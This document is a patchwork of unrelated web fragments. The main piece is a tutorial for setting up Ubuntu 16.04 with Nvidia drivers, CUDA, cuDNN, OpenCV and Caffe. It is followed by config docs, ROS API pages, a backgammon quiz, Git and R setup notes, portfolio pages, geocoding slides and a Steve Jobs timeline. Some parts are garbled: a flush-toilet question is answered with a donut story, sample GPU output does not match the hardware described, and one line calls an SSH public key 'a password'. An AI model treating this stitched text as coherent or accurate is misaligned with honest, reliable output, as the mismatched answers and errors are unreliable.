Deep Learning Setup
Specifications
Installation of Deep Learning Setup ( Hybrid Graphics / Optimus Systems) => Ubuntu 16.04 + Nvidia(Driver+CUDA) + OpenCV3.2 + Caffe with specifications => GTX1070-Nvidia + i7-7700K ( Kabylake)
After fresh installation of Ubuntu 16.04 "Disabling nouveau driver"
sudo apt-get update sudo apt-get upgrade
Install one editor which you like the most
sudo apt-get install vim
Before installing Drivers into your Hybrid system first we need to disable the nouveau (default display driver comes with linux) because it comes above all. Press 'CTRL+Alt+F1' you will enter shell now enter your username and password credentials and then continue
sudo vim /etc/modprobe.d/blacklist.conf
Now add the following lines in the end of the file ( Save & Exit)
blacklist nouveau blacklist lbm-nouveau options nouveau modeset=0 alias nouveau off alias lbm-nouveau off
Now get back to terminal and enter the following and later update the kernel and reboot
echo options nouveau modeset=0 | sudo tee -a /etc/modprobe.d/nouveau-kms.conf sudo update-initramfs -u sudo reboot
Intel+Nvidia GPU working setup using bumblebee and primus
Basically using primus we can switch between the graphics and we take the help of bumblebee to make it smooth and we also take the help of a GUI indicator to make the transistions more simple.
Add the following repositories
sudo apt-add-repository ppa:graphics-drivers sudo apt-add-repository ppa:bumblebee/testing sudo apt-add-repository ppa:nilarimogard/webupd8 sudo apt-get update
Go to Settings >> Software & Updates >> Additional Drivers Select Nvidia-378 driver (because it is stable and it worked for me) and click on Apply and then Restart the system.
After Restarting you can see the Nvidia-driver being selected as the display driver which previously was Xorg's nouveau.For further conforamtion you can check with the following command and the output will be comething like this.
nvidia-smi [root@localhost release]# nvidia-smi Wed Sep 26 23:16:16 2012 +------------------------------------------------------+ | NVIDIA-SMI 3.295.41 Driver Version: 295.41 | |-------------------------------+----------------------+----------------------+ | Nb. Name | Bus Id Disp. | Volatile ECC SB / DB | | Fan Temp Power Usage /Cap | Memory Usage | GPU Util. Compute M. | |===============================+======================+======================| | 0. Tesla C2050 | 0000:05:00.0 On | 0 0 | | 30% 62 C P0 N/A / N/A | 3% 70MB / 2687MB | 44% Default | |-------------------------------+----------------------+----------------------| | Compute processes: GPU Memory | | GPU PID Process name Usage | |=============================================================================| | 0. 7336 ./align 61MB | +-----------------------------------------------------------------------------+
Now either use command line or Synaptics Manager to install the requirements inorder to keep it simple I shall use Synaptic Manager to demonstrate
1) Enter bumblebee in the search dialog then you will be able to see bumblebee, bumblebee-nvidia, primus select all the three and Mark up for Installation and then click Apply 2) After installing above three we check for bbswitch-dkms in search dialog box.It can be seen as already installed ( if not then install it)
We get back to our terminal and take the help of prime to select Intel Graphics as primary
sudo prime-select intel sudo reboot
Now enter prime-indicator(/plus) in search and mark up for installation and restart your system. Inorder to make the bumblebee and bbswitch to take care of your system and use latest nvidia driver which has been installed go to the following file and edit
sudo vim /etc/bumblebee/bumblebee.conf
Now update the following contents
Driver= should be changed to Driver=nvidia
In [driver-nvidia] section replace all nvidia-current terms to nvidia-378(If you have installed 378 or else replace it with the driver number which has been installed) and also in the same section replace
PMMethod=auto PMMethod=bbswitch
Now restart
sudo reboot
We are done with our Nvidia driver installation and we also can switch between Intel and Nvidia Graphics which will help with saving the battery
Installation of CUDA-8.0 and verifying if it works or not
Now switch to Nvidia Graphics and download the run file. In my case I have downloaded cuda_8.0.61_375.26_linux.run
file because previous ones need a below 4.9 gcc compiler but when it comes to 16.04 by defualt it installs gcc-5.0 and the installation of Caffe requires a gcc-5 compiler to work ( portbuf). After downloading go to the specific folder and then
chmod 755 cuda_8.0.61_375.26_linux.run
sudo ./cuda_8.0.61_375.26_linux.run
Enter no when asked to install Nvidia driver and rest all can be entered as Yes. Don't worry if it shows something like this
=========== = Summary = =========== Driver: Not Selected Toolkit: Installed in /usr/local/cuda-8.0 Samples: Installed in /home/username, but missing recommended libraries Please make sure that - PATH includes /usr/local/cuda-8.0/bin - LD_LIBRARY_PATH includes /usr/local/cuda-8.0/lib64, or, add /usr/local/cuda-8.0/lib64 to /etc/ld.so.conf and run ldconfig as root To uninstall the CUDA Toolkit, run the uninstall script in /usr/local/cuda-8.0/bin Please see CUDA_Installation_Guide_Linux.pdf in /usr/local/cuda-8.0/doc/pdf for detailed information on setting up CUDA. ***WARNING: Incomplete installation! This installation did not install the CUDA Driver. A driver of version at least 361.00 is required for CUDA 8.0 functionality to work.
Now (Optional not required)
sudo modprobe nvidia
sudo vim /etc/profile and enter in the end export PATH=/usr/local/cuda-8.0/bin:$PATH export LD_LIBRARY_PATH=/usr/local/cuda-8.0/lib64:$LD_LIBRARY_PATH
Now save & exit
sudo ldconfig
The setup is complete for CUDA now it's time to verify this
sudo apt-get install freeglut3-dev build-essential libx11-dev libxmu-dev libxi-dev libglu1-mesa libglu1-mesa-dev libgl1-mesa-glx
Now go to the location where samples folder is installed by default it is installed at ~/
cd into the samples directory cd 1_Utilities/deviceQuery sudo make sudo ./deviceQuery
it should show something like this
Device 0: Quadro M1000M CUDA Driver Version / Runtime Version 8.0 / 7.5 CUDA Capability Major/Minor version number: 5.0 Total amount of global memory: 2002 MBytes<PHONE_NUMBER> bytes) ( 4) Multiprocessors, (128) CUDA Cores/MP: 512 CUDA Cores GPU Max Clock rate: 1072 MHz (1.07 GHz) Memory Clock rate: 2505 Mhz Memory Bus Width: 128-bit L2 Cache Size: 2097152 bytes Maximum Texture Dimension Size (x,y,z) 1D=(65536), 2D=(65536, 65536), 3D=(4096, 4096, 4096) Maximum Layered 1D Texture Size, (num) layers 1D=(16384), 2048 layers Maximum Layered 2D Texture Size, (num) layers 2D=(16384, 16384), 2048 layers Total amount of constant memory: 65536 bytes Total amount of shared memory per block: 49152 bytes Total number of registers available per block: 65536 Warp size: 32 Maximum number of threads per multiprocessor: 2048 Maximum number of threads per block: 1024 Max dimension size of a thread block (x,y,z): (1024, 1024, 64) Max dimension size of a grid size (x,y,z):<PHONE_NUMBER>, 65535, 65535) Maximum memory pitch:<PHONE_NUMBER> bytes Texture alignment: 512 bytes Concurrent copy and kernel execution: Yes with 1 copy engine(s) Run time limit on kernels: No Integrated GPU sharing Host Memory: No Support host page-locked memory mapping: Yes Alignment requirement for Surfaces: Yes Device has ECC support: Disabled Device supports Unified Addressing (UVA): Yes Device PCI Domain ID / Bus ID / location ID: 0 / 1 / 0 Compute Mode: < Default (multiple host threads can use with device simultaneously) > deviceQuery, CUDA Driver = CUDART, CUDA Driver Version = 8.0, CUDA Runtime Version = 7.5, NumDevs = 1, Device0 = Quadro M1000M Result = PASS
Similarly we conduct the bandwidth test which will also show PASS something similar to above and then we confirm its installation. If it shows fail then there is some error in CUDA installation.
cd .. cd bandwidthTest sudo make sudo ./bandwidthTest
With this we are ready with our system to use CUDA and NVIDIA GPU.
Installation of CUDNN (Easiest of All I should say)
Go to Nvidia's site and download cuDNN ( I myself used cuDNN 5.1) you will get almost 98MB file now extract the contents and go to the extracted folder
cd /cuda
sudo cp -P include/cudnn.h /usr/include
sudo cp -P lib64/libcudnn* /usr/lib/x86_64-linux-gnu/
sudo chmod a+r /usr/lib/x86_64-linux-gnu/libcudnn*
Installing OpenCV3.2 (may not be complete but is enough for working with caffe)
In Ubuntu 16.04, install the dependencies first and then build the OpenCV 3.2 from source.
sudo apt-get install --assume-yes build-essential cmake git sudo apt-get install --assume-yes pkg-config unzip ffmpeg qtbase5-dev python-dev python3-dev python-numpy python3-numpy sudo apt-get install --assume-yes libopencv-dev libgtk-3-dev libdc1394-22 libdc1394-22-dev libjpeg-dev libpng12-dev libtiff5-dev libjasper-dev sudo apt-get install --assume-yes libavcodec-dev libavformat-dev libswscale-dev libxine2-dev libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev sudo apt-get install --assume-yes libv4l-dev libtbb-dev libfaac-dev libmp3lame-dev libopencore-amrnb-dev libopencore-amrwb-dev libtheora-dev sudo apt-get install --assume-yes libvorbis-dev libxvidcore-dev v4l-utils python-vtk sudo apt-get install --assume-yes liblapacke-dev libopenblas-dev checkinstall sudo apt-get install --assume-yes libgdal-dev
Download the latest source archive for OpenCV 3.2 from https://github.com/opencv/opencv/archive/3.2.0.zip
Enter the unpacked directory. Execute
mkdir build cd build/ cmake -D CMAKE_BUILD_TYPE=RELEASE -D CMAKE_INSTALL_PREFIX=/usr/local -D FORCE_VTK=ON -D WITH_TBB=ON -D WITH_V4L=ON -D WITH_QT=ON -D WITH_OPENGL=ON -D WITH_CUBLAS=ON -D CUDA_NVCC_FLAGS="-D_FORCE_INLINES" -D WITH_GDAL=ON -D WITH_XINE=ON -D BUILD_EXAMPLES=ON .. make -j $(($(nproc) + 1))
To complete the installation execute the following
sudo make install
sudo /bin/bash -c 'echo "/usr/local/lib" > /etc/ld.so.conf.d/opencv.conf'
sudo ldconfig
sudo apt-get update
Verify installation with
python >>> import cv2
if it doesn't work then there is some error with OpenCV3.2 installation
With this we are done with our OpenCV3 installation next we jump into Caffe installation
Installing Caffe in 16.04 along with support of OpenCV3 & GPU (CUDA+cuDNN)
For pre-requisites we execute the following lines
sudo apt-get update sudo apt-get upgrade sudo apt-get install -y build-essential cmake git pkg-config sudo apt-get install -y libprotobuf-dev libleveldb-dev libsnappy-dev libhdf5-serial-dev protobuf-compiler sudo apt-get install -y libatlas-base-dev sudo apt-get install -y --no-install-recommends libboost-all-dev sudo apt-get install -y libgflags-dev libgoogle-glog-dev liblmdb-dev # (Python general) sudo apt-get install -y python-pip # (Python 2.7 development files) sudo apt-get install -y python-dev sudo apt-get install -y python-numpy python-scipy
We next clone the Caffe repo.
cd ~
git clone https://github.com/BVLC/caffe.git
We make changes in Makefile.config and Makefile and configure to proceed the Caffe installation smoothly.
cd ~/caffe
cp Makefile.config.example Makefile.config
sudo vim Makefile.config
We now make the following changes and configure the copied Makefile.config (by uncommenting and editing the following lines in the file)
USE_CUDNN := 1 OPENCV_VERSION := 3 Change CUDA_DIR := /usr/local/cuda to CUDA_DIR := /usr/local/cuda-8.0 PYTHON_INCLUDE := /usr/include/python2.7 /usr/lib/python2.7/dist-packages/numpy/core/include WITH_PYTHON_LAYER := 1 INCLUDE_DIRS := $(PYTHON_INCLUDE) /usr/local/include /usr/include/hdf5/serial LIBRARY_DIRS := $(PYTHON_LIB) /usr/local/lib /usr/lib /usr/lib/x86_64-linux-gnu /usr/lib/x86_64-linux-gnu/hdf5/serial
Somtimes the PYTHON_INCLUDE may differ in some systems check for the presence of numpy core files
PYTHON_INCLUDE := /usr/include/python2.7 /usr/local/lib/python2.7/dist-packages/numpy/core/include WITH_PYTHON_LAYER := 1 INCLUDE_DIRS := $(PYTHON_INCLUDE) /usr/local/include /usr/include/hdf5/serial LIBRARY_DIRS := $(PYTHON_LIB) /usr/local/lib /usr/lib /usr/lib/x86_64-linux-gnu /usr/lib/x86_64-linux-gnu/hdf5/serial
Now edit Makefile ( above we edited Makefile.config)
cd ~/caffe sudo vim Makefile Change NVCCFLAGS += -ccbin=$(CXX) -Xcompiler -fPIC $(COMMON_FLAGS) to NVCCFLAGS += -D_FORCE_INLINES -ccbin=$(CXX) -Xcompiler -fPIC $(COMMON_FLAGS)
Now we install some python requirements by taking pip's help
cd ~/caffe/python for req in $(cat requirements.txt); do sudo -H pip install $req --upgrade; done
Now it's time to check make and check caffe's installation
cd ~/caffe make all -j $(($(nproc) + 1)) make test make runtest make pycaffe make distribute sudo vim ~/.bashrc add the follwing line to the file export PYTHONPATH=~/caffe/python:$PYTHONPATH source ~/.bashrc
Now you can verify your installation with (for python2.7)
python >>> import caffe
With this we are ready with are our Deep Learning setup it's now time to become the Pirate King!
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HTTP Configuration
Cache Control
A no-cache directive (Cache-Control: no-cache, no-transform) is returned in responses by default, precluding proxies and caches from caching or transforming responses. This may be customized in the following manner:
- System default property in the general restsql properties file
The following example sets the maximum age to 60 seconds and precludes proxy transformation:# http.response.cacheControl={cache-directive}, {cache-directive}, ... http.response.cacheControl=max-age=60, no-transform
- Override on a per SQL Resource basis in the definition's metadata element
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<?xml version="1.0" encoding="UTF-8"?> <rs:sqlResource xmlns:rs="http://restsql.org/schema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://restsql.org/schema SqlResource.xsd "> <query> ... </query> <metadata> ... </metadata> <http> <response cacheControl='private, community="UCI"' /> </http>
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#include <ros/ros.h>
#include <actionlib/server/simple_action_server.h>
#include <geometry_msgs/Pose.h>
#include <cpswarm_msgs/TaskAllocationEvent.h>
#include <cpswarm_msgs/TaskAllocatedEvent.h>
#include <cpswarm_msgs/TaskAllocationAction.h>
Go to the source code of this file.
Typedefs | |
| typedef actionlib::SimpleActionServer< cpswarm_msgs::TaskAllocationAction > | Server |
| The server object that offers the task allocation auction as action server. More... | |
Functions | |
| void | auction_callback (const cpswarm_msgs::TaskAllocationGoal::ConstPtr &goal, Server *as) |
| Callback function to start a task allocation auction. More... | |
| void | bid_callback (const cpswarm_msgs::TaskAllocationEvent::ConstPtr &msg) |
| Callback function to receive auction bids. More... | |
| int | main (int argc, char **argv) |
| A ROS node that exchanges relative kinematics between CPSs in a swarm. More... | |
Variables | |
| bool | auction_open |
| Whether the auction is currently open for bidding. More... | |
| double | highest_bid |
| The highest current bid. More... | |
| Publisher | publisher |
| Publisher to announce the winner of the auction. More... | |
| int | task_id |
| ID of the task that is auctioned. More... | |
| geometry_msgs::Pose | task_pose |
| Location of the task that is auctioned. More... | |
| double | timeout |
| The auction duration. More... | |
| string | winner |
| The UUID of the CPS that is the current highest bidder. More... | |
| typedef actionlib::SimpleActionServer<cpswarm_msgs::TaskAllocationAction> Server |
The server object that offers the task allocation auction as action server.
Definition at line 14 of file auction_action.cpp.
| void auction_callback | ( | const cpswarm_msgs::TaskAllocationGoal::ConstPtr & | goal, |
| Server * | as | ||
| ) |
Callback function to start a task allocation auction.
| goal | The action goal. |
| as | Reference to the action server object. |
Definition at line 73 of file auction_action.cpp.
| void bid_callback | ( | const cpswarm_msgs::TaskAllocationEvent::ConstPtr & | msg | ) |
Callback function to receive auction bids.
| msg | The bid received. |
Definition at line 55 of file auction_action.cpp.
| int main | ( | int | argc, |
| char ** | argv | ||
| ) |
A ROS node that exchanges relative kinematics between CPSs in a swarm.
| argc | Number of command line arguments. |
| argv | Array of command line arguments. |
Definition at line 137 of file auction_action.cpp.
| bool auction_open |
Whether the auction is currently open for bidding.
Definition at line 34 of file auction_action.cpp.
| double highest_bid |
The highest current bid.
Definition at line 44 of file auction_action.cpp.
| Publisher publisher |
Publisher to announce the winner of the auction.
Definition at line 19 of file auction_action.cpp.
| int task_id |
ID of the task that is auctioned.
Definition at line 24 of file auction_action.cpp.
| geometry_msgs::Pose task_pose |
Location of the task that is auctioned.
Definition at line 29 of file auction_action.cpp.
| double timeout |
The auction duration.
Definition at line 39 of file auction_action.cpp.
| string winner |
The UUID of the CPS that is the current highest bidder.
Definition at line 49 of file auction_action.cpp.


Match Play. 0-0 to 5. Should Red redouble? If redoubled, should White take?
pips Red=50 White=54
(CorrectAnswer= 0/0, ErrorScore= 0)
For money this is right on the borderline of redouble/no redouble. (If the cube were in the centre it would be an error not to double, highlighting the difference between a centred and an owner cube).
See my monograph on racing formulae in the downloads section of this website if you want to learn how to evaluate positions like this.
At this match score it would be worse than a blunder not to redouble. Getting to the Crawford game is very powerful and it is that fact that makes this a monster redouble.
See my monograph on racing formulae in the downloads section of this website if you want to learn how to evaluate positions like this.
At this match score it would be worse than a blunder not to redouble. Getting to the Crawford game is very powerful and it is that fact that makes this a monster redouble.
Cube analysis 2-ply cubeless equity +0.443 0.721 0.000 0.000 - 0.279 0.000 0.000 Cubeful equities: 1. Double, take +0.719 2. Double, pass +1.000 (+0.281) 3. No double +0.705 (-0.013) Proper cube action: Redouble, take


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{% extends 'base.html' %} {% block title %}Password reset complete :: {% endblock %} {% block body %}
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List of all members.
Constructor & Destructor Documentation
Default constructor
QWidget, which is window, will be the biggest screen that will save layouts and scene.
layouts will have every button, textbox, LCD for score and level etc.
Member Function Documentation
Delete all timers and save NULL as an address
Count score everytime the main timer times out
Create the right layout that will be contained in Gridlayout
- Returns:
- QVBoxLayout that has start, pause, quit buttons and game level LCD
Create the top layout that will be contained in Gridlayout
- Returns:
- QHBoxLayout that has username box and score LCD
Creat arrow obstacle everytime timer2 times out
Creat fireball obstacle everytime timer3 times out
Creat potions depending on the type number that will be generated randomly
- Parameters:
-
| type | type of potion, either red or white |
Creat rock obstacle everytime timer1 times out
Pause or resume the game by stoping or starting timers
Start the game by starting timers and creating a dragon etc
Cast magic if a dragon has white potion left
The documentation for this class was generated from the following files:


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Next
until you get to the step below.Use Git from the Windows Command Prompt
and click on Next
.Next
. Keep Checkout Windows-style, commit Unix-style line endings
selected.Use Windows' default console window
and click on Next
.Next
then Finish
.This will provide you with both Git and Bash in the Git Bash program. If you make a mistake you may rerun the installer and select the appropriate options.
To fully set up your Mac for bioinformatics we recommend the Biostar Handbook website.
Alternatively to set up just git alone see:
For OS X 10.9 and higher, install Git for Mac by downloading and running the most
recent mavericks
installer from this list.
After installing Git,
there will not be anything in your /Applications folder, as Git is a command line program.
For older versions of OS X (10.5-10.8) use the most recent available installer
labelled snow-leopard
available here.
If Git is not already available on your machine you can try to install it via
your distro's package manager. For Debian/Ubuntu run sudo apt-get install git
and for Fedora run sudo yum install git
.
Git is a version control system that lets you track who made changes to what when and has options for easily updating a shared or public version of your code on github.com. You will need a supported web browser (current versions of Chrome, Firefox or Safari, or Internet Explorer version 9 or above).
You will need an account at github.com for parts of the Git lesson. Basic GitHub accounts are free. We encourage you to create a GitHub account if you don't have one already. Please consider what personal information you'd like to reveal. For example, you may want to review these instructions for keeping your email address private provided at GitHub.
The most commonly used command with git.
ssh-keygen
This will generate a password in ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa.pub
Copy and paste the key into the Github -> Account -> Settings -> Add SSH key
Command we typically do once:
git clone <uri>
- clones a remote repositorygit add <filepath>
- adds a file to git trackingCommands we use all the time:
git status
- what is the current status of the repositorygit diff
- what has changed since the last commitgit push <uri>
- push the changes to remotegit pull <uri>
- pull and merge remoteFurther information:
For simulation we are going to use R, a statistical programming language. The software is open-source, interacts well with git, has many packages written by and for the bioinformatics community and is also useful for developing graphics and web app.
We are going to access R via a package called RStudio, which provides additional resources including a window system which facilitates installing packages , accessing the help files, and documenting your work. RStudio is also free.
All of this software is available on Macs, Windows, and Linux. Mostly it works identically on all types of computers, although I have noticed that sometimes the versions are out of sync.
To get started, please install R and RStudio as directed below.
Select a CRAN mirror. (This is the computer that you are downloading from. It is advisable to select a mirror that is geographically close.)
Select the appropriate version for the type of computer you are using.
Install the downloaded software just like any other software on your computer.
Go to https://www.rstudio.com/
Click on the Download button.
Scroll down to "Download R Studio Desktop".
Select the appropriate installer.
Install the downloaded software.
Click on the R Studio icon. This should open R Studio.
Microsoft Word is NOT a text editor. Using Word to edit text will will eventually cause (devious) errors. Best if you start using a proper text editor. Essential features:
TAB
characters versus multiple SPACE
characters.
Mixing up TABS
and SPACES
is a very common error. Copy-pasting from a web
page often turns a TAB
into SPACE
characters (yes, it very annoying!)
You need the ability to see the difference between these otherwise invisible
characters if necessary.Unix
, Windows
or Mac OS 9
endings
(the new Mac OSX
uses Unix
line endings). Typically all files should have a Unix
line ending mode.
Your editor needs to have the ability to convert line endings to Unix
format.Personal preference :
Pandoc can convert documents across formats: markdown
to html
or pdf
etc.
On Mac OSX:
brew install pandoc
On windows visit the Pandoc website.


Who invented the modern flush toilet?
When hole-less donuts were fried, the centers would be undercooked and inedible. A man named Captain Hanson Gregory discovered that when he fried donuts with holes in them would be cooked evenly, and donuts have had holes ever since.
Why do donuts have holes?
When hole-less donuts were fried, the centers would be undercooked and inedible. A man named Captain Hanson Gregory discovered that when he fried donuts with holes in them would be cooked evenly, and donuts have had holes ever since.


For eg: Website Design, Logo Design, Banners etc.
Hey There! I am Krishna Mahato priorly pursuing my Bachelors in Computer Science Engineering here in India. I'm currently working as a freelancer in all sorts of Graphic Design roles; be it a logo design, web designing, banner design, cover design, blogs etc.
Apart from this i have skills in web development(front-end & back-end both). Below i have mentioned my social links for you, so do check me out there! Bubye :)
View Resume
Still thinking? Order your design now!
Contact Me


You need to enable JavaScript to run this app.
Beacon DevTools Sandbox
Check out Beacon
on Help Scout.


I am Anna Surmiak and I am looking for cool works.
I am a junior front-end developer. I studied at DCI-Digital Career Institute based in Berlin. I love building
websites and code interactive productions.
I am looking for an internship from October 2019 as a front-end Developer in Berlin.
My background is in art, I paint and write stories for kids, also I worked as a fashion and product
photographer for 8 years in Berlin and in London, before I found out that I love coding.
If you want to see my photographic portfolio, please click the button:
Our greatest weakness lies in giving up. The most certain way to succeed is always to try just one more time.
This is a nice text about me...
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These are my projects...
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To search all profiles press enter while the search field is empty. To search for a friend enter their username and press the search button.


Symphonies
The list of pipelines loaded into the Maestro
| Active | Name | Schedule | Next Execution | Executions | {{range .Dags}}
|---|---|---|---|---|
| {{.Name}} | {{.Cron}} | 2020-09-15 20:50 | Running 14 Success 5 Warning 4 Errors |
{{define "content"}}
The list of pipelines loaded into the Maestro
| Active | Name | Schedule | Next Execution | Executions | {{range .Dags}}
|---|---|---|---|---|
| {{.Name}} | {{.Cron}} | 2020-09-15 20:50 | Running 14 Success 5 Warning 4 Errors |


class: center, middle, inverse, title-slide # Geocoding with sf ## Introduction to Data Science Workshop ### Carlo Greß and Johannes Halkenhäußer ### Hertie School ### 4 November 2021 --- # Structure -- 1. [What is geocoding?](#definition) -- 2. [Data requirements](#requirements) -- 3. [The **s**imple **f**eatures package in R](#package) -- 4. [What can sf do?](#ability) -- 5. [How do sf and geocoding interact](howto) -- 6. [A practical application](#application) --- class: inverse, center, middle name: definition # What is geocoding? --- # What is geocoding? -- - Turning (text-based) addresses or locations into geographic positions -- - Location of the Hertie School (Friedrichsstraße 180, 10117 Berlin) -> 52.512963808601505, 13.389202140609111 -- - In a broader sense, geocoding is one central aspect of working with spatial data -- - Once the data of interested is geocoded, it can be used for further spatial analysis -- - You will see some examples at the end of the presentation and in the live coding part!

  --- # What is geocoding? -- - The geographic position is commonly expressed in **latitude** and **longitude** -- - Latitude refers to the north-south position of a point - Longitude refers to the east-west position of a point -- - **Reverse-geocoding** takes given coordinates and translates them into an address -- - Both types of geocoding are helpful whenever **location** is at the center of attention: - Where do legislators have their offices? - Where do conservative voters live? - Are there geographical patterns in the development of COVID-19 spread? --- # A practical example
  Source: https://www.ecdc.europa.eu/en/geographical-distribution-2019-ncov-cases --- # ... and another one
  Source: https://source.wustl.edu/2020/02/the-divide-between-us-urban-rural-political-differences-rooted-in-geography/ --- class: inverse, center, middle name: requirements # Data requirements --- # Data requirements -- - Before starting with the substantial analysis, input data needs to be read into R -- - Geocoding analysis distinguishes between two main input data types: **Relative** and **absolute** input data -- - Relative input data refers to **descriptions** of locations and cannot directly be translated into precise geographic data points - Instead, reference locations whose coordinates are known are used for approximation -- - Absolute input data refers to data that can be directly translated into coordinates - Postal addresses and ZIP codes, cities, places -- - Unsurprisingly, the latter data format is usually desired due to a more intuitive use and higher precision -- - If we want to plot a geographical data point on a map, we need another data input: **shapefiles** --- class: inverse, center, middle name: package # The **s**imple **f**eatures package in R --- # The **s**imple **f**eatures package in R -- - Simple features is not limited to the package in R, but rather is a formal standard describing the geographic representation of real-world objects in computers -- - A **feature** commonly relates to such real-world objects, e.g. a street, a city, or a building -- - These are represented by several simple features types (17 in total), most commonly points, linestrings, and polygons --  -- - The sf package in R provides access to the simple feature standard and reformats geocoded data into the different sf types -- - It offers multiple functions that are beneficial for working with geodata - Calculating surface area or distance, identifying whether a point lays in a given area, creating a point at the centre of an area --- class: inverse, center, middle name: ability # What can sf do? --- #What can sf do? sf's functions can be broadly split up into five sections: -- - **Geometric confirmation** - Are point x and y the same (`st_equals`)? Does point x lie in a given area/polygon (`st_contains`)? -- - **Geometric operation** - Creating a point that lies in the center of a given area/polygon (`st_centroid`) -- - **Geometry creation** - Create a (triangular) polygon made from given points (`st_triangulate`) -- - **Geometry operations** - Create a geometry that contains the shared area of two given areas (`st_intersect`) -- - **Geometric measurement** - Calculating the distance between points/areas (`st_distance`) --- class: inverse, center, middle name: howto # How do sf and geocoding interact? --- #How do sf and geocoding interact? -- - Read in the **input data** (for example, your address or the postal code of your home town) -- - For this purpose, numerous sources as the *Open Street Map* or the Google Maps API can be used -- - The build-in `st_read`-command enables users to read in existing geocoded datasets and converts them to sf objects -- - Geocoded data that is in sf format can then be mapped, e.g. one could map a point on a given area -- **Important**: In case that the geocoded data comes from different sources (e.g. a shapefile and a list of addresses), make sure to use the same coordinate reference system code by specifying the **CRS argument**!

    --- class: inverse, center, middle name: application # A practical application --- #A practical application **Geocoding the Hertie School's address with the `geocode_OSM` function frome the `tmap`-library** ```r R> hertie <- ("Friedrichsstraße 180, 10117 Berlin") R> hertie_geocoded <- geocode_OSM(hertie, as.data.frame = T) ``` -- **Preparing the shapefile containing information about Berlin's borders and further vector features** ```r R> unzip("bezirksgrenzen.shp.zip", + exdir = "berlin_zip_shapefile", junkpaths = TRUE, + overwrite = TRUE) ``` Source: https://daten.odis-berlin.de/de/dataset/bezirksgrenzen/ --- #A practical application# **Transforming both the shapefile and the geocoded address to sf objects and joining them** ```r R> berlin <- st_read("berlin_zip_shapefile//bezirksgrenzen.shp") ``` ``` ## Reading layer `bezirksgrenzen' from data source ## `C:\Users\carlo\Dokumente\GitHub\16-JohannesHalkenhaeusser-GeocodingwithSF\berlin_zip_shapefile\bezirksgrenzen.shp' ## using driver `ESRI Shapefile' ## Simple feature collection with 12 features and 6 fields ## Geometry type: MULTIPOLYGON ## Dimension: XY ## Bounding box: xmin: 13.08835 ymin: 52.33825 xmax: 13.76116 ymax: 52.67551 ## Geodetic CRS: WGS 84 ``` ```r R> hertie_point <- st_as_sf(hertie_geocoded, coords = c(x = "lon", y = "lat"), crs = 4326) R> R> hertie_on_a_map <- st_join(hertie_point, berlin, join = st_within) ``` --- #A practical application **Plotting a map of Berlin including the location of Hertie School** ```r R> tm_shape(berlin) + + tm_fill() + + tm_shape(hertie_on_a_map) + + tm_bubbles(col = "blue", size = 0.1) ``` ![](Presentation_Slides_files/figure-html/unnamed-chunk-4-1.png)


AirTableau - A Tableau Web Data Connector for Tableau (ver 10.1 or later) for
Airtable data.
Please use Tableau to connect to this URL.
Please enter your API Key and the Schema Details below
Schema
Use the AirTableau Schema grabber Chrome extension from here
Connect to Airtable


StrawHat Pirate Apps
Apps
Blog
Contact
Apps
Blog
Contact
Portfolio
the first website i ever made!! go check it out.THIS WEBSITE IS STILL RELEVANT GOD DAMMIT
Open
PIE
A KJGHPILLION digits of pie
Open
Github
Game
cool maths game
Open
Github
Hipster Texts
very cool designs for pinterest and instagram
Open
Github


The Jack language source code is available here, pull requests welcome!
This project uses the amazing JackVM Player, copyright (c) 2020 Jim Connell.
This was created as coursework as part of the nand2tetris course offered on Coursera.
Game concept derived from CNN's interactive "Steer through the Suez Canal", reproduced for educational purposes.


Ever wanted to create a pull request in GitHub but only wished to commit changes that is relevant? You are in luck. In this tutorial, I am going to show you how I would do it. Recently, I tried to create a pull request in GitHub and this is what I see.
The problem that I have here is that I only wanted to create a pull request with only the a51afa6 and 07f39f7. But, it seems like you cannot really do anything on the GitHub UI to remove it. You know why? Because you are not suppose to. You are suppose to create a branch with the latest changes and cherry-pick the ones that you want. And then compare that branch with the repository that you would like to contribute. The differences will only be the ones that you cherry-picked. Then, you are done. This is how you would create a GitHub pull request with a specific commits. Let me show you in action.
First, you need to create a branch with the latest changes (that is the same with the upstream remote branch)
git fetch --all
git checkout -b new-branch-name upstream/master
Note: The above assumes you’ve set up upstream as a remote. If not, do this first:
git remote add upstream https://github.com/upstream_github_username/upstream_github_repo_name.git
Next, you would need to cherry-pick the changes that you would like to include in the pull request.
git cherry-pick a51afa6
git cherry-pick 07f39f7
Now, all you need to do is to push your changes to your GitHub repository
git push -u origin new-branch-name
Head over to your GitHub repository, and you should see this.
Simply click Compare & pull request to create a pull request in the repository that you would like to contribute with only the changes you picked.
Tada. You have done it=)
Wrapping Up
Hopefully this guide has help you to create a GitHub pull request with a specific commits. Thank you for reading!
Resources
I’ll try to keep this list current and up to date. If you know of a great resource you’d like to share or notice a broken link, please let us know.


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Rossano Ferretti is India's leading beauty care center which is a name to reckon with when it comes to styling your appearance and body. Combined with State-of-the-art technology is what keeps our customers on the mark when it comes to style and outlook.
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Rejuvenate your mind and body at MY Spa, by allowing your nerves and muscles to relax as expert masseurs and therapists work their magic on you. Sit back and soak in the comforting embrace of traditional Ayurvedic treatments as they heal your body and relax your soul..
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Service Hours 7:30 AM - 8:00 PM
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Service Hours 7:30 AM - 8:00 PM
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Service Hours 7:30 AM - 8:00 PM
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Dan's awesome web page
This is a link to facebook!
This is a link to google!
This is a link to yahoo!


RT @testobsessed: Cost of manual regression testing far more than just cost of manual effort. Delayed feedback + increased risk = high p ...
3/9/2010, 9:28:42 AM
Favs: 0
Retweets: 0
link--- layout: tweet ---
RT @testobsessed: Cost of manual regression testing far more than just cost of manual effort. Delayed feedback + increased risk = high p ...
3/9/2010, 9:28:42 AM
Favs: 0
Retweets: 0
link


Steve Jobs
Co-founder of Apple
Here's a time line of Steve Job's life
- 1955 - He was born in San Francisco, California, and put up for adoption. He was raised in the San Francisco Bay Area.
- 1974 - He attended Reed College in 1972 before dropping out that same year, and traveled through India in 1974 seeking enlightenment and studying Zen Buddhism.
- 1976 - Jobs and Wozniak co-founded Apple in 1976 to sell Wozniak's Apple I personal computer. Together the duo gained fame and wealth a year later with the Apple II, one of the first highly successful mass-produced microcomputers.
- 1985 - Jobs was forced out of Apple in 1985 after a long power struggle with the company's board and its then-CEO John Sculley. That same year, Jobs took a few of Apple's members with him to found NeXT, a computer platform development company that specialized in computers for higher-education and business markets.
